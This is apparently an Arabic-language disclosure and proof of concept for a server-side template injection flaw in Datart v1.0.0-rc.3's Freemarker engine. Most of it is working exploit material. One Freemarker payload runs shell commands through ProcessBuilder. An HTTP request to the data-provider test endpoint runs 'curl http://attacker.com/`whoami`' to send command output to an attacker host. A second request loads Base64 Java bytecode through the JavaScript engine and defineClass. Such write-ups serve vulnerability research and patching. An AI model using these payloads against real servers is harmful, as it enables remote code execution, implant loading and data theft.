
يوجد ثغرة أمنية من نوع حقن القوالب من جانب الخادم (SSTI) في محرك قوالب Freemarker في Datart الإصدار v1.0.0-rc.3، والتي تسمح للمهاجمين المصادق عليهم بتنفيذ تعليمات برمجية عشوائية عبر حقن بناء جملة قالب Freemarker مُصمم خصيصًا في حقل البرنامج النصي SQL.
يحتوي محرك القوالب Freemarker في الإصدار v1.0.0-rc.3 من Datart على ثغرة حقن القالب من جانب الخادم (SSTI). يمكن للمهاجم المصادق عليه تنفيذ تعليمات برمجية عشوائية على النظام عن طريق حقن بناء جملة قوالب Freemarker خبيثة في حقل سكربت SQL.
في محرر سكربت/استعلام SQL (SQL script/query editor)، أدخل حمولة Freemarker التالية لتنفيذ أوامر النظام (مثل id أو calc):
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1
انقر على تنفيذ السكربت، وسيقوم الخادم بتنفيذ الأمر في الخلفية.
حزمة الطلب التي تستغل الثغرة عبر API هي كما يلي:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"sourceId": "valid_source_id",
"script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
"scriptType": "SQL",
"size": 100
}
يمكن للمهاجم استخدام javax.script.ScriptEngineManager في Java لاستدعاء محرك JS لتحميل وتنفيذ أي بايت كود Java مشفّر بـ Base64.
مثال على الحمولة:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
"sourceId": "valid_source_id",
"size": 1000,
"scriptType": "SQL",
"columns": "",
"variables": []
}